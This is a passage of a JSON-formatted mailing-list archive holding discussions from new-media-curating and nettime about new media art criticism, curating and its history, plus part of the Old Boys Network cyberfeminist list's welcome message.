linearality.\n\nOK; grumpy old man rant over\n\nHere is the text for the little introduction I gave to Eddie and my\nsession on historical issues at REFRESH!, which does engage with some of\nthe questions of this month's subject\n\nThe recent Open Systems c. 1970 show at Tate Modern caused a lot of\nprospective excitement among new media art people in Britain, which was\nfollowed by a great deal of disappointment when it opened. Despite its\nhighly promising title it had little to do with systems of systems art\nor technology and art. In the exhibition itself there was none of the\nwork done by artists using systems ideas and technologies, circa 1970,\nwhile the catalogue, other than a few token mentions of Cybernetic\nSerendipity and Software and the inclusion of a Jack Burnham essay,\nsuggested that the curators and contributors were barely aware of these\nphenomena. Instead what we got was a predictable and reductive vision of\nart in that period as consisting of a shift from Minimalism to\nConceptualism. In fairness at the conference that was held on the show's\nlast weekend, the chief curator, Donna de Salvo did have the good grace\nto admit that she did not even know about these ideas and issues, or the\nwork in question that, to many of us, was so obviously absent, though it\nseems odd to have given the show a name that suggested otherwise.\n\nThis ignorance or disavowal of the relation between art and technology\nis not simply the fault of the curator's understanding of the period or\ntheir preferences and taste. It is, I think, far deeper than that, and\ngoes to the heart of the question that animates this conference, that of\nthe acknowledgement of a whole area of practice and theory that is\nlargely not visible in mainstream art galleries, museums and art history\ndepartments. It is partly a question of a humanist conception of a\nbinary opposition between art, poiesis etc... on the one hand and\ntechnics, technology, tekhne on the other. There is a great deal that\ncould be said about that, and I hope that the papers this afternoon will\nstimulate discussion and debate on precisely that question.\n\nIt is also perhaps a structural or systemic issue. New media art (let us\nstick for convenience with that problematic term) is much more than\nsimply another form of, possibly, avant garde art practice, that meets\nat first with resistance, then finally acceptance within the academy and\nthe gallery. It is, rather, a representation of, a symptom and even a\ndeterminant of a dramatic shift, a 'paradigm shift' if you will, in how\nculture is stored and disseminated, and in how it endures, or what one\nmight call, in the broadest sense, the archive. Bernard Stiegler\nproposes that the capacity to preserve and transmit human experience in\nthe radical absence, and ultimately the death of the person who has the\nexperience 'is what we call culture'. Thus the current dramatic shifts\nin the technological structures of our means of storage and\ndissemination will dramatically change our culture, entirely. Stiegler's\nmentor, Jacques Derrida proposes that 'the technical structure of the\narchiving archive also determines the structure of the archivable\ncontent even in its very coming into existence and in its relationship\nto the future. This archivization produces as much as it records the\nevent' and 'what is no longer archived in the same way is no longer\nlived in the same way.'\n\nIt is therefore not surprising that museums, galleries and art history\ndepartments cannot incorporate new media art. They are still structured\naccording to the techno-cultural conditions of the times in which they\nfirst emerged, the late 18th and early 19th century. The question should\nnot be how do we get the mainstream institutions of art to acknowledge\nand incorporate new media art, but rather to recognise and engage with,\nto respond to, the new forms of culture new technological conditions\nproduce. To respond to something is to take responsibility, and in\nresponding to the past and present new media art and hoping to encourage\nothers to do so, we are perforce taking responsibility for new media\nart's continued existence in the future, against its current occlusion\nby the institutions of art history, and to make a wager that it matters\nnow and will matter in the future and for helping understand how we live\nnow and in the future. \n\nCharlie Gere \nReader in New Media Research\nDirector of Research\nInstitute for Cultural Research \nLancaster University Lancaster LA1 4YL UK\nTel: +44 (0) 1524 594446\nE-mail: [log in to unmask]\nhttp://www.lancs.ac.uk/fss/cultres/staff/gere.php",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind05&L=new-media-curating&F=&S=&P=266444",
                "follow-up": [
                    {
                        "from": "Beryl Graham",
                        "content": "\nBegin forwarded message:\n\n> From: [log in to unmask]\n> Date: 31 October 2005 10:53:44 GMT\n> To: [log in to unmask]\n> Subject: mail rejected\n>\n> Hi, I am out of home (out of my Outlook express) and posted today this \n> message\n> to the list which was rejected. Thanks\n> Yara Guasque\n> ===========\n> Today is the opening of  FILE 2005 (International Festival for \n> Eletronic Arts)\n> in S\u00e3o Paulo Brazil. This is its fifth year. The journal O Estado de \n> S\u00e3oPaulo\n> has published three pages about the festival today, but not at its art \n> section\n> (Caderno 2). It has published in a section dedicated to technology \n> called LINK.\n> FILE will be exhibiting digital works, processes, and pieces from 300 \n> artists\n> from 30 countries. FILE Symposium with Ted Nelson as its key note \n> speaker  and\n> FILE Hipers\u00f4nica (with VJs and electronic music) will begin tomorrow.\n>\n> FILE and the exhibitions and symposia on the issue Media Art promoted \n> by\n> Ita\u00facultural, like Emo\u00e7\u00e3o Art.ficial 01 and 02, are the most positive\n> contribution to the formation of a Media Art audience in Brazil.\n>\n> At the first Emo\u00e7\u00e3o Art.ficial 01 we had installations and immersive\n> environments from artists such as Eduardo Kac and Jefrey Shaw. At the \n> second\n> version, Emo\u00e7\u00e3o Art.ficial 02, Ita\u00facultural devoted more space for the\n> Brazilian pioneers as Waldemar Cordeiro, Palatinik and J\u00falio Plaza. \n> The second\n> version brought the discussion of \u201ccurating new media art\u201d with low \n> technology\n> to our \u201cquintal\u201d (intimate suburban garden where you can hang clothes \n> and dirty\n> things). But the question to me is if such production should create \n> its own\n> exhibiting space. Even if the discussion was well succeeded in \n> questioning our\n> own historical roots and bringing it more close to our art scene (and \n> to the\n> possibilities the institution has to curate such Media Art) it \n> remained on\n> legitimized spaces  for good art.\n>\n> When Oliver Grau came early this year to Brazil with his lecture \n> Remember\n> Phantasmagoria! I thought it could be a great project to collect early\n> Brazilian popular manifestations of illusionary tricks and immersive\n> environments performed by circus which tour the country exhibiting at \n> small\n> cities. As you may know our Concrete Art has some similarities with\n> popular \u201cesthetics of construct by yourself\u201d in suburban environments, \n> it\n> reflects high art theories of visual discourse and it reflects the \n> popular way\n> of appropriation in underdeveloped areas.\n>\n> Quoting Andy Polaine from its message of today  <We simply need to see \n> more\n> work, exploring the modalities of emerging/ interactive/networked \n> media and we\n> need to try it out on real people\n> in real life. That means the galleries and museums need to take some\n> risks and engage with a broader audience. It's not coincidence that\n> museums like the Science Museum and the Powerhouse, which cater far\n> better for children, got their heads around interactive media much\n> earlier.>\n>\n> Yara Guasque\n>\n>\n> -------------------------------------------------\n> http://www.udesc.br\n> UDESC - Universidade do Estado de Santa Catarina\n> (Horde 2.1 / IMP 3.1)\n>",
                        "id": 0,
                        "date": "Mon, 31 Oct 2005 12:06:58 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind05&L=new-media-curating&F=&S=&P=292292",
                        "content-type": "text/plain",
                        "author_name": "Beryl Graham",
                        "subject": "Re: Histories of curating new media art"
                    }
                ],
                "date": "Thu, 6 Oct 2005 09:57:48 +0100",
                "list": "crumb",
                "author_name": "\"Gere, Charlie\"",
                "subject": "Re: Histories of curating new media art"
            },
            {
                "content-type": "text/plain",
                "from": "patrick lichty",
                "content": "\nIt seems that there is a need for an analytical stategy for new media\ncriticism, as this is a recurring theme I hear coming from many colleagues.\nAlthough I hardly have any overarching thoughts on the subject, there are a\nnumber of localized concerns that come to mind.\n\nFirst, it seems that many of those analyzing technological art, or\nattempting to do so are viewing these works through the mindset of previous\nmodes of expression, such as painting.  Although you can refer to previous\nart forms as departure points for a discussion of certain works, you just\ncannot consider the works in equal terms.  This is shocking to me, as the\nsame critic would probably tell you that you cannot consider sculpture and\nvideo through the same sets of parameters.\n\nThere is a second component to this issue of a lack of articulation of a\nrigorous new media critique in that historical/historiographical practic (at\nleast in the States and Europe) is currently inadequate to rising to the job\nof analyzing these works.  By and large teh common mode of approach is that\nof the common tactic of 20th century historians- that is, technique as mode\nof production.  Yes, the mgihty brush stroke you hated to study in college\nis alive and well, and trying yo be applied to new media.  Such an analysis\nis terribly limited, as it largely ignores the cultural context within which\nsuch works emerge.  It's as if the computer is the new brush, and the\nimportant key in the analysis of the work is the specific technique used in\nthe mode of production.\n\nMy opinion is that a more comprehensive historiographical strategy would be\nto also consider the cultural milieu of the technology and artist sot hat\nthey are not only an extension of their McLuhanist prosthesis.  Of note in\nthe study of new media art are not only the mode of production, but the\nsociocultural influences that frame the work.  Considering current practices\nof art history, I would pose that this would be a relatively avant-garde\nshift in tactics, but not one that is all too radical in scope, as the\nhistorians with whom I have been discussing this topic with are being held\nhostage by the previous operational mindsets they have been working under.\n\nI speak very loosely when I say this, but the brush stroke served the\nanalysis of painting (and remember I speak euphamistically here) but the\ncomputer is not a brush.  Also, and this is something I should have stressed\nearlier in this missive, the staggering number of genres within the scope of\ncomputer mediated art, and the larger genre of technological art defies such\ngeneralization. Note that I emphasized that computer mediated art does not\nencompass the whole of technological art, which I believe that the less\nwell-informed are want to do.\n\nIn closing, I wholly agree that a shift in strategy is sorely needed for the\nanalysis of new media art.  Although I am sure that there are a number of\nways that could serve this cultural function, a broader contextual view, not\nonly encompassing modes of mediation and production, but also in terms of\nthe societal milieu surrounding the work could be an approach that would\nserve as an alternative mode of discourse..",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=110226",
                "follow-up": [
                    {
                        "from": "\"Thomas Bell, Psy. D.\"",
                        "content": "\nwebartery http://www.webartery.com/webarterymaillist/WebarteryMailList.html\nis an active list on these topics.  It is more practice than theory but\nsometimes we tackle the bitg issues.\n\nIAWIS and it's new electronic journal, _Word and Image\nhttp://millennium.arts.kuleuven.ac.be/narrative/index_main.cfm\nshould be of interest\n\nand YLEM is another good practitioner site in this regard\nhttp://www.ylem.org\n\nthese are all contemporary theoretical/practice sites that are not\ncommercial/computer driven and also don't come out of traditiional art\ndirections.\n\ntom bell",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 00:14:52 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=113000",
                        "content-type": "text/plain",
                        "author_name": "\"Thomas Bell, Psy. D.\"",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Chris Byrne",
                        "content": "\nI think new media criticism is much more visible than it used to be. Some\nselected snippets below.\n\nNot always about new media, but very useful for an overall picture of the\n'mediascape' and some radical socio-economic tracts:\n\nhttp://www.ctheory.com\n\nAlso, this may be stating the obvious, but the nettime publication\n'README!' was an early stab at new media critique and praxis. Lots of\n'hacktivism' in there too, but some still relevant discussions on new\nmedia, net art, 'net.art', and their respective contexts. Available from V2\nor Autonomedia. Or check out the online archive:\n\nhttp://www.nettime.org\n\nAlso, had to get a plug in somewhere! I wrote an article for COIL magazine\na couple of years ago which looks at parallels between web art practice and\nvideo art: http://www.cryptic.demon.co.uk/cj_home/analog.html I argue that\nthe specific technologies and contexts may have changed, but the tactics\nand modes of address employed by artists are not so different.\n\nChris\n\n\n--------------------------------------------------------\nChris Byrne                          [log in to unmask]\n--------------------------------------------------------\nNew Media Scotland                 Tel. +44 141 564 3010\nP.O. Box 25065, Glasgow G1 5YP     Fax. +44 141 564 3011\nScotland, UK                    http://www.mediascot.org\n--------------------------------------------------------",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 09:58:31 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=113786",
                        "content-type": "text/plain",
                        "author_name": "Chris Byrne",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Matt Locke",
                        "content": "\nAt 09:58 27/04/01 +0100, you wrote:\n>I think new media criticism is much more visible than it used to be. Some\n>selected snippets below.\n\nyes, but....\n\ni think the argument was that writing *within* media art circles *has*\nstarted to develop a sophisticated vocabulary, but mainstream writing (like\nthe artnet/village voice article that sarah posted) appears blissfully\nunaware of these critical developments (\"this work is like painting. its\npretty\").\n\nand maybe this is because the vocabularies that have developed around media\narts practise are too (to use patrick's phrase) societal for the\nmainstream, who prefer to locate art wholly within its own, hermetic context.\n\nits not that nobody is writing about media art, but that as it goes\n'overground' (like at the whitney and SFMOMA) mainstream critics are\ntreating it as a diverting novelty, but ultimately dismissing it to the\nghettoes that public and live art practises currently reside in...\n\n\n\n\n\n\n-----------------------------------\nMatt Locke\nArtistic Director\nThe Media Centre, Huddersfield\nwww.test.org.uk",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 12:28:10 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=114595",
                        "content-type": "text/plain",
                        "author_name": "Matt Locke",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Chris Byrne",
                        "content": "\nThis has often been a problem with media art. The problem is dissemination\nof the ideas around the practice.\n\nAs we discussed at 'Momentum', one of the lessons from the history of\nvideo/television art is that presenting work in a gallery tends to lead to\ncertain practices and forms gaining dominance over others because they\n'work' within the architecture of the white cube. Large scale video\nprojection tends to win out over small scale monitors, for example. Apart\nfrom the architecture of the gallery, the main determining factors appear\nto be collectors, marketing and 'getting the punters in'. To take two\nartists from the late 1960's/early 1970's: Bill Viola's 'universal values',\nmysticism and painterly cinematography are simpler for gallerists and\ngeneral audiences to digest than David Hall's materialist dialectics,\ncritical interventions and complex installations.\n\nOkay, I'm talking about video art here, but new media and networked\npractices fall prey to the same pressures. Like entrepreneurs in any branch\nof showbiz, gallerists/curators are looking to back the next star and\naccrue value to their work. Socially aware criticism does not necessarily\nhelp them in that task, even though it may be vitally important in\ninforming us about certain modes of practice. Therefore perhaps it is not\nin certain institutions' interests to take account of such material, even\nthough they may be aware of it.\n\nHaving said that, ghettoes can define themselves too. The 'hermetic'\ndiscourse you speak of can take place, it's true. I suppose if there are\ncurators that want to change this situation, they can.\n\nChris\n\n>\n>yes, but....\n>\n>i think the argument was that writing *within* media art circles *has*\n>started to develop a sophisticated vocabulary, but mainstream writing (like\n>the artnet/village voice article that sarah posted) appears blissfully\n>unaware of these critical developments (\"this work is like painting. its\n>pretty\").\n>\n>and maybe this is because the vocabularies that have developed around media\n>arts practise are too (to use patrick's phrase) societal for the\n>mainstream, who prefer to locate art wholly within its own, hermetic context.\n>\n>its not that nobody is writing about media art, but that as it goes\n>'overground' (like at the whitney and SFMOMA) mainstream critics are\n>treating it as a diverting novelty, but ultimately dismissing it to the\n>ghettoes that public and live art practises currently reside in...\n>\n>\n>\n>\n>\n>\n>-----------------------------------\n>Matt Locke\n>Artistic Director\n>The Media Centre, Huddersfield\n>www.test.org.uk\n\n\n--------------------------------------------------------\nChris Byrne                          [log in to unmask]\n--------------------------------------------------------\nNew Media Scotland                 Tel. +44 141 564 3010\nP.O. Box 25065, Glasgow G1 5YP     Fax. +44 141 564 3011\nScotland, UK                    http://www.mediascot.org\n--------------------------------------------------------",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 13:22:43 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=115767",
                        "content-type": "text/plain",
                        "author_name": "Chris Byrne",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Sarah Thompson",
                        "content": "\nwhen i was at art school, one day my friend Gary Brunt wondered why there\nweren't any punch ups in front of the coffee machine over art...\n\nwhy did no one feel passionately any more about the aesthetics involved?\n\nMatt Locke wrote:\n>and maybe this is because the vocabularies that have developed around media\n>arts practise are too (to use patrick's phrase) societal for the\n>mainstream, who prefer to locate art wholly within its own, hermetic context.\n\nabsolutely. These 'societal vocabularies' can be hermetic themselves, and\nhave their own agendas designed to keep media art practice outside of the\nmainstream. After all, i thought activist art is *supposed* to be\nchallenging the mainstream?\n\ntrying to communicate about aesthetics within the hermetic world of digital\narts is where the real feeling lies. The mainstream are quite happy to\nexploit this as soon as its practices become clear enough for them to\nunderstand. They just don't get it yet. I wonder why?\n\nbest~\nSarah\n\n\nSarah Thompson_Re:\nwww.content-type.org.uk\n~~~~~~format=\"flowed\"",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 13:33:33 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=116591",
                        "content-type": "text/plain",
                        "author_name": "Sarah Thompson",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Sarah Thompson",
                        "content": "\n>Like entrepreneurs in any branch\n>of showbiz, gallerists/curators are looking to back the next star and\n>accrue value to their work.\n\nthis is a clear example of the media<->art identity crisis\n\nS\n\nSarah Thompson_Re:\nwww.content-type.org.uk\n~~~~~~format=\"flowed\"",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 13:47:30 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=117272",
                        "content-type": "text/plain",
                        "author_name": "Sarah Thompson",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Christiane Paul",
                        "content": "\n>At 09:58 27/04/01 +0100, you wrote:\n>>I think new media criticism is much more visible than it used to be. Some\n>>selected snippets below.\n>\n>yes, but....\n>\n>i think the argument was that writing *within* media art circles *has*\n>started to develop a sophisticated vocabulary, but mainstream writing (like\n>the artnet/village voice article that sarah posted) appears blissfully\n>unaware of these critical developments (\"this work is like painting. its\n>pretty\").\n>\n>and maybe this is because the vocabularies that have developed around media\n>arts practise are too (to use patrick's phrase) societal for the\n>mainstream, who prefer to locate art wholly within its own, hermetic context.\n\nI think it's a little more complicated. Public art, live art and media art\nare in varying degrees \"societal\" (it's a major characteristic of these\nmedia after all) and the mainstream media certainly have problems with\nsocietal vocabularies. However, there seems to be some societal criticism\nand context in the mainstream media when it comes to more accepted art\nforms. The Times and art magazines publish \"think pieces\" on\npainting/sculpture, establishing a larger context and breaking through the\nhermetic context of art. I wonder why there seems to be more resistance\nwhen it comes to art forms that have a larger social context by nature.\nPerhaps the inherent danger is that these art forms defy existence in a\nhermetic context (you don't even have the option to safely seal them off).\nI think it might be dangerous to adjust the discourse to something the\nmainstream media can more easily digest.",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 11:23:43 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=117778",
                        "content-type": "text/plain",
                        "author_name": "Christiane Paul",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "Christiane Paul",
                        "content": "\n>Okay, I'm talking about video art here, but new media and networked\n>practices fall prey to the same pressures. Like entrepreneurs in any branch\n>of showbiz, gallerists/curators are looking to back the next star and\n>accrue value to their work.\n\nI think there's a difference between the for-profit and non-profit art\nworld. Galleries have to sell to survive and for museums attendance is key,\ntrue, but the latter does not necessarily rely on the next star (at least\nthere's a little bit more leeway).\n\n>Socially aware criticism does not necessarily\n>help them in that task, even though it may be vitally important in\n>informing us about certain modes of practice. Therefore perhaps it is not\n>in certain institutions' interests to take account of such material, even\n>though they may be aware of it.\n>\n>Having said that, ghettoes can define themselves too. The 'hermetic'\n>discourse you speak of can take place, it's true. I suppose if there are\n>curators that want to change this situation, they can.\n\nI have strong doubts about that. You can engage in socially aware criticism\nas a curator, you can show art forms that aren't that easily digestible but\nyou do not have much influence on the reception in the mainstream media\nwho, at least to some extent, direct public opinion. I think when it comes\nto showing new art forms one has to emphasize the \"educational\" aspect and\norganize as many panels, discussion forums etc. as possible to create\ndiscourse outside of the media that are lacking the critical vocabulary to\ndeal with the art.",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 11:23:46 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=118702",
                        "content-type": "text/plain",
                        "author_name": "Christiane Paul",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "\"Thomas Bell, Psy. D.\"",
                        "content": "\nanother source of new media criticism is\nhttp://www.cdes.qut.edu.au/Fineart_Online/Backissues/Vol_15/faf_v15_n04/text\n/\n\ntom bell",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 17:05:06 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=119422",
                        "content-type": "text/plain",
                        "author_name": "\"Thomas Bell, Psy. D.\"",
                        "subject": "Re: New media criticism - is there any?"
                    },
                    {
                        "from": "\"Thomas Bell, Psy. D.\"",
                        "content": "\ni think the new vocabulary will be coming out of the practitioners and\nviewers and will take some time to develop.  Unfortunately at the moment\neven some place like the Walker exists in an awareness of art currents\nsprinkled with some stars from the 'net-world' which was largely fueled by\ncommercial interests and concerns - i don't mean to implycommercial in the\nsense of being padi but am referring to the current internet era which has\nbeen driven by equipment, software, and marketing flash - there seems to be\nno word yet to describe this.  My hunch is that that era will twinkle and\nfade (as it seems to be doing) and we will see a time of simple and capable\ncomputers (without a lot of flashy tricks) in most if not all households and\nartists who use these basic computers, much like the stylus, printing, and\ntypewriter revolutions.  In other words, the computer revolution is still\ncoming.\n\ntom bell=<}}}}}}}}}****((((((((&&&&&&&&&~~~~~~~~~~~~~~~\n\nMetaphor/Metonym for health at\nhttp://members.tripod.com/~trbell/metaphor/metapho.htm\n\nBlack Winds Press at\nhttp://members.tripod.com/~trbell/lifedesigns/blackwin.html",
                        "id": 0,
                        "date": "Fri, 27 Apr 2001 17:39:54 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=119750",
                        "content-type": "text/plain",
                        "author_name": "\"Thomas Bell, Psy. D.\"",
                        "subject": "Re: New media criticism - is there any?"
                    }
                ],
                "date": "Thu, 26 Apr 2001 07:53:17 -0500",
                "list": "crumb",
                "author_name": "patrick lichty",
                "subject": "New media criticism - is there any?"
            },
            {
                "content-type": "text/plai",
                "from": "\"Josephine Berry\" <josie {AT} metamute.org>",
                "id": "00029",
                "content": "Here's one from the archives. I was looking through my old old folders in\nsearch of something I wrote on Jameson's post-modernism book as a\ncompulsory assignment for my PhD, when I stumbled upon this unpublished\nand possibly unfinished article triggered by this list and the cybersalon.\nI can't resist publishing it here now (completely with file format mangled\nending), since somehow I still think it may apply. When we think about the\nrecent death, and unexpected rebirth of the Labour Party in the UK, it\nsomehow gives me hope.\n\n*\n\nThe place is the CyberSalon - a monthly gathering point for London's cyber\nintelligentsia; only half a year young but already showing the first signs\nof disillusionment at its increasing formality borne of its own success.\nThe time is April 1998 - in the cold dawn of a 'post-hype' internet\nculture. The speaker is Heath Bunting - a pioneer net artist and\ntechno-prankster - who confidently tells the audience that the days of the\ninternet's revolutionary potential are truly over. He suggests that the\nbio-economical time bomb of bio-technology could be the new site of\nradicalism. Obviously the odd degree in embryology wouldn't go amiss when\nvolunteering one's interventionist services to the cause, but OK.\n\nHeath Bunting is far from the only person to be calling time for the\ninternet revolution. He is also joined by old-timers Geert Lovink and Pit\nSchultz, the founders and moderators of the nettime mailing list, where\ncyberologists daily run the gauntlet on this intellectually and\npolitically high-risk discussion forum. In two recent postings they have\nboth expressed the view that the days of 'the hype' or 'net.hype' are over\nand the age of what Lovink rather pointedly calls \"radical pragmatism\" are\nupon us. Contrary to the incessant eulogising of the internet which most\nof us continue to experience through media and advertising, these two\nseasoned net.riot boys can only be referring to the demise of the\ncommunitarian aspirations of its early years which have steadily slipped\ninto the out-of-control, free market rhetoric notoriously championed in\nWired magazine. This political and rhetorical sell-out has been prompted\nby what Lovink calls the, \"accelerated growth of the mediascape\",\nineffectually countered by the regulatory measures of nation sates.\n\nThe up-shot is the depressingly moderate and fatally compromised position\nthat the former net activists and artists find themselves in,\ncharacteristically forced to capitulate by escalating economic pressures.\nThe fire of revolutionary zeal, which cast cyberspace as the domain in\nwhich renegades from the pervasive power vectors of off-line realities\ncould conceive radically non-material(ist) alternative cultures and\ncommunities, has produced a bastard child: \"The pseudo-democratic mass\nconsumer panic of internet-for-all\", in Schultz's terms. This brave new\nnet has become what Schultz calls,\"the sleeping colossus of the collective\nbody of the couch potatoes of all lands\". As ever, the avant-garde and the\nmasses tend not to mix.\n\nBut, regardless of the undoubted commercialisation which has changed the\nface of the net and brought  that \"short 'divine' time\" from 95-97 to an\nend, \"radical pragmatism\" has become the trope with which to paradoxically\nclaim both the authentic radicality of those early years and the\nrepetitious inevitability of history. This stance, far from falling into\nthe obvious traps of revolutionary idealism, brings the chapter to a close\nand knowingly adjusts itself back to business-as-usual mode. It sighs and\nclaims to know what's in store for us, because after all, nothing has\nreally changed. As Lovink concludes in his post,\"perhaps there are not any\nfundamentally new aspects to the 'cybereconomy'. After all, business is\nbusiness, and the same goes for politics, culture, the arts, and so on.\"\nBut hold on, is all the revolutionary promise of the net really come to\nthis? Maybe not because, as we learn, \"The magic of (shared) communication\nin itself remains untouched by these developments. What counts are\nillusion and imagination, in whatever environment\". So networked\ncommunication isn't really so different from going down to the pub? Err,\nthat's not quite it, clearly there was something different about this\ninternet business, and that does need to be protected because: \"these\nfluid untamed elements are precisely what is endangered now.\"\n\nReading these posts I can feel a severe dose of world-weary pragmatism\ncoming on myself, because we've repeatedly seen critics frame alternative\nor avant-garde culture in this way before. Critques, such as Peter\nB\u00fcrger's famous Theory of the Avant-Garde , which distinguish an\navant-garde whose transformative practice is deemed authentic and\nhistorically effective (the 'historical avant-garde' i.e. pre WWII) from\nthe belated, redundant and repetitious gestures of the ensuing generations\n(the neo-avant garde i.e.post WWII). A distinction which condemns anything\nfalling outside a synchronous enlightened moment in history to emptiness\nand insignificance. One which nostalgically romanticises a by-gone moment\nof radicality while refusing a similar possibility for contemporary\nculture and society. It seems that a similar sentiment underpins\ndiscussions of the brave new net and calls to either resign oneself to the\ninevitable or decamp to a new revolutionary address. Given that radical\ndepartures in media on the scale of the internet don't come along too\noften, it's hard to see where the next Arcadia is coming from.\n u of London's cyber-theecoonllectually and politically high stakes  on\nthe nettime and eyebeam lists,ideologicalrated growth of the mediascape\"\ncoupled with theattempts by nation states at regulationoderate and\nfatally compromised climate former net radicals are finding themselves\ndefeated bydescribes as the avant-garde and the masses lets out a sigh of\nsuperior wisdom\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "date": "Fri, 11 Sep 2015 17:24:57 -0000",
                "to": "nettime-l {AT} kein.org",
                "message-id": "a0cc1f1d2d648bf0cb354546ee481283 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1509/msg00029.html",
                "list": "nettime_l",
                "author_name": "Josephine Berry",
                "subject": "<nettime> The death of the net that was (1998)"
            }
        ],
        "desc": "..."
    },
    "Welcome": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                "id": "00000",
                "content": "Welcome to the mailing list of Old Boys Network, <oldboys-list>!\n\nPlease save this message for future reference.  Thank you.\n\nTECHNICAL INFORMATION: (as regards content, information below)\n\nThis is the ezmlm program, managing the oldboys@lists.ccc.de mailing list. It will speak in the first person further on...\n\nI can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address:\n\nTo subscribe to the list, send a message to:\n   <oldboys-subscribe@lists.ccc.de>\n\nTo remove your address from the list, send a message to:\n   <oldboys-unsubscribe@lists.ccc.de>\n\nSend mail to the following for info and FAQ for this list:\n   <oldboys-info@lists.ccc.de>\n   <oldboys-faq@lists.ccc.de>\n\nTo get messages 123 through 145 (a maximum of 100 per request), mail:\n   <oldboys-get.123_145@lists.ccc.de>\n\nTo get an index with subject and author for messages 123-456 , mail:\n   <oldboys-index.123_456@lists.ccc.de>\n\nThey are always returned as sets of 100, max 2000 per request,\nso you'll actually get 100-499.\n\nTo receive all messages with the same subject as message 12345,\nsend an empty message to:\n   <oldboys-thread.12345@lists.ccc.de>\n\nThe messages do not really need to be empty, but I will ignore\ntheir content. Only the ADDRESS you send to is important.\n\nYou can start a subscription for an alternate address,\nfor example \"john@host.domain\", just add a hyphen and your\naddress (with '=' instead of '@') after the command word:\n<oldboys-subscribe-john=host.domain@lists.ccc.de>\n\nTo stop subscription for this address, mail:\n<oldboys-unsubscribe-john=host.domain@lists.ccc.de>\n\nIn both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription.\n\nIf despite following these instructions, you do not get the\ndesired results, please contact my owner at \n<oldboys-owner@lists.ccc.de> \nPlease be patient, my owners are a lot slower than I am ;-)\n\n\nWHAT IT IS ABOUT:\n\n<oldboys-list> is an international discussion mailing list owned by the Old Boys Network.\n\nOBN is regarded as the first international Cyberfeminist alliance and has been founded in 1997 in Berlin. Under the umbrella of the term 'Cyberfeminism' OBN contributes to the critical discourse on new media, especially gender-specific aspects. \n \nOBN is dedicated to appropriating, creating and disseminating Cyberfeminisms (plural). OBN creates real and virtual spaces where Cyberfeminists can research, experiment, communicate and act. The OBN platforms aim to provide a contextualized presence for the diverse and interdisciplinary approaches to Cyberfeminism. One of these platforms is <oldboys list>.\n\nOne of the basic rules of OBN is that every member is required to call herself a woman (without consideration of the biological base of this intelligent life-form). With regard to its contents - the elaboration of Cyberfeminisms - our aim is the principle of disagreement!\n\nAdditional to our communication in virtual space OBN regularly organizes real space meetings.\n- First conference: 'first Cyberfeminist International', documenta x, Kassel, 1997, hybrid workspace;\n- Second conference: 'next Cyberfeminist International', 1999, Rotterdam, de Balie (in cooperation with 'next5mintues, festival for tactical media, Amsterdam).\n- Third conference: \u2019very Cyberfeminist International', 2001, Hamburg, is currently in preparation.\n\nAll conferences are documented in printed readers. No.1 and no.2 are sold out already. The content will be available on our new website, soon! \n\nCurrently (2001) the book \u2019Cyberfeminism - next protocols' is in production in collaboration with the Publishing House Autonomedia, New York. \n\nIn 2000 OBN presented itself in the 15 minutes long video \u2019processing Cyberfeminism'.\n\nSince OBN has come into being it's personnel as well as the organisatorial structure have been in a constant flow. \n\nIf you want to learn more about the regulating structure of OBN, and you are interested in finding out what is special about this transitory network, please visit our website (currently being redesigned by Slowenian artist Irena Woelle).\nhttp://www.obn.org\n\n<oldboys-list> can stay unmoderated as long as all subscribers feel 